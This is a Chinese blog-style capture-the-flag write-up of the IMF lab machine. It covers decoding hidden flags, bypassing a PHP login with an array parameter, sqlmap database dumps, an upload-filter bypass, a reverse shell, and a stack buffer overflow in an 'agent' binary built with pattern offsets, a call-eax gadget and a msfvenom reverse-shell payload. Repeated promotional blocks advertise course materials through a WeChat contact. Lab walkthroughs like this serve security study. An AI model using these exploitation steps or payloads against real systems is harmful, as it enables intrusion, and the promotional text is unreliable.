先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
正文
发现flag1:
<!-- flag1{YWxsdGhlZmlsZXM=} -->
allthefiles
发现flag2
发现flag2:
<script src="js/ZmxhZzJ7YVcxbVl.js"></script>
<script src="js/XUnRhVzVwYzNS.js"></script>
<script src="js/eVlYUnZjZz09fQ==.min.js"></script>
----> ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
----> imfadministrator
再解一轮
拼接imfadministrator目录
!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger --
type="text" name="user"
type="password" name="pass"
sqlmap跑了很久,一点也跑不出来
收集用户名
contact.php这个页面发现有邮箱这样的信息
=> 用户名!
发现邮箱信息:
rmichaels@imf.local
akeith@imf.local
estone@imf.local
三个用户信息!这里有三个用户:rmichaels、akeith、estone
代码审计之弱类型绕过
通过枚举用户名,并且进行绕过尝试
burpsuite测试用户名有效性
测试akeith、estone时候回显:Invalid username (无效的用户名)
测试rmichaels回显:Invalid password(无效的密码)
找到了正确的用户名!
字符串转换为数组:
将字段名称更新pass为pass[],这意味着PHP将把这个字段解释为一个数组,而不是一个字符串。这有时会混淆验证字符串检查,如果输入是数组strcmp则会返回NULL!
发现flag3
将带有绕过的包放回
flag3{Y29udGludWVUT2Ntcw==}
Welcome, rmichaels
IMF CMS
进入IMF CMS漏扫测试
vulmap、AWVS等漏扫没法扫描出漏洞
尝试跑sqlmap
想到之前的那个sql,再试一次,这次跑POST包
用burpsuite拦截流量包,右键点击:copy to file 保存到本地1.txt文本中!
sqlmap -r sql_post.txt --batch -dbs
sqlmap -r sql_post.txt --batch -D admin --tables
sqlmap -r sql_post.txt --batch -D admin -T pages --columns
sqlmap -r sql_post.txt --batch -D admin -T pages -C id,pagedata,pagename --dump
发现异常数据
输入第三个表单当中的数据
发现flag4
通过二维码扫描软件得第四个flag
flag4{dXBsb2Fkcjk0Mi5waHA=}
解码:uploadr942.php
继续访问uploadr942.php页面
waf绕过(.htaccess绕过)
发现次waf检测文件内容!
这边肯定好奇了,这儿为什么上传gif,但是可以执行php的命令,这部分的内容我们后边再说。
发现flag5
获得flag5:flag5{YWdlbnRzZXJ2aWNlcw==}
base64解码获得:agentservices
反弹shell
3、内网渗透
法一:缓冲区溢出-提权
查找agent
通过flag5 base64解码获得:agentservices
这是提示agent的服务存在问题!
find / -name agent 2>/dev/null 发现:
/usr/local/bin/agent
/etc/xinetd.d/agent
访问:/usr/local/bin/agent
是可以访问的,并且需要输入数值ID!
查看开启的端口情况
netstat -ant ---查看开启的端口情况
nc 127.0.0.1 7788 ---查看到开启7788端口是anget程序的
查看/usr/local/bin下的文件
敲震端口
敲震端口:
knock 192.168.126.167 7482 8279 9467
nmap 192.168.126.167 -p7788,80 ----这时候7788端口开启
通过追踪来继续研究agent文件
ltrace ./agent
随意输入数字!
strncmp("dwqdq\n", "48093572", 8) = -1 ----正在将我提供的字符串与字符串48093572进行比较,在这种情况下导致=-1)
为了防止缓冲区溢出这种情况的出现,在C库函数中,许多对字符串操作的函数都有其"n兄弟"版本,例如strncmp,strncat,snprintf……兄弟版本的基本行为不变,但是通常在参数中需要多给出一个整数n,用于限制操作的最大字符数量。
甚至strings agent发现:两个地方使用了“%s”,这很可能是一个有效的溢出点!
vmmap
0xfffdc000 0xffffe000 rwxp [stack]
发现这是个栈溢出的题目!
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
gdb ./agent
run
48093572
输入后:
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
选择Submit Report 3:
输入2000值后,发现segmentation fault溢出报错!存在缓冲区溢出!
0x41366641
还发现:堆栈开始是EAX寄存器
EAX: 0xffffcfd4 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASA\324\317\377\377TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641
发现偏移量为:168
python -c 'print "A" * 168 + "B" * 4'
通过测试:
EAX: 0xffffcfd4 ('A' <repeats 152 times>, "\324\317\377\377", 'A' <repeats 15 times>, "BBBB")
EIP被168个字节覆盖,但是多给的B字节走到了EAX上,在给多个C测试shellcode会走哪儿!
python -c 'print "A" * 168 + "B" * 4 + "CCCCCCCCCCCCCCCC"'
EAX: 0xffffcfd4 ('A' <repeats 152 times>, "\324\317\377\377", 'A' <repeats 12 times>, "BBBB", 'C' <repeats 16 times>)
或者:
info registers eax
x/20x $eax -32
这时候可看到:
0xffffcfc4: 0xffffcfd4 0x00000001 0x00000000 0x0804b02c
0xffffcfd4: 0x41414141 0x41414141 0x41414141 0x41414141
......
C也走到了EAX,找保护措施!那么只需要找到eax值,即可直接跳到shellcode!
checksec
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
RELRO 是一种用于加强对 binary 数据段的保护的技术。
参考:https://lantern.cool/note-pwn-linux-protect/
查看ASLR设置:
cat /proc/sys/kernel/randomize_va_space
2
或者:
sysctl -a --pattern randomize
kernel.randomize_va_space = 2
0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
2 = 全随机。除了1中所述,还有heap。
说明存在随机化!ASLR功能的程序使用ret2reg(返回寄存器)指令来利用缓冲区溢出
参考大佬:
https://www.securitylab.ru/analytics/405868.php
gdb-peda$ jmpcall eax
0x8048563 : call eax
或者:asmsearch "jmp eax"
asmsearch "call eax"
EAX 地址0x8048563
目前知道了JMP值:0x8048563
偏移量:168
接下来创建shellcode写个脚本就直接拿下!
创建后门
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.126.134 LPORT=6666 -f python -b "\x00\x0a\x0b"
payload:
-p 载荷类型
## 写在最后
**在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。**
需要完整版PDF学习资源私我
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
![img](https://img-blog.csdnimg.cn/img_convert/1c25465f5b306ec045b47b7078be5a4f.png)
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
**在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。**
需要完整版PDF学习资源私我
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
[外链图片转存中...(img-ifbK9Pf9-1713331869092)]
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**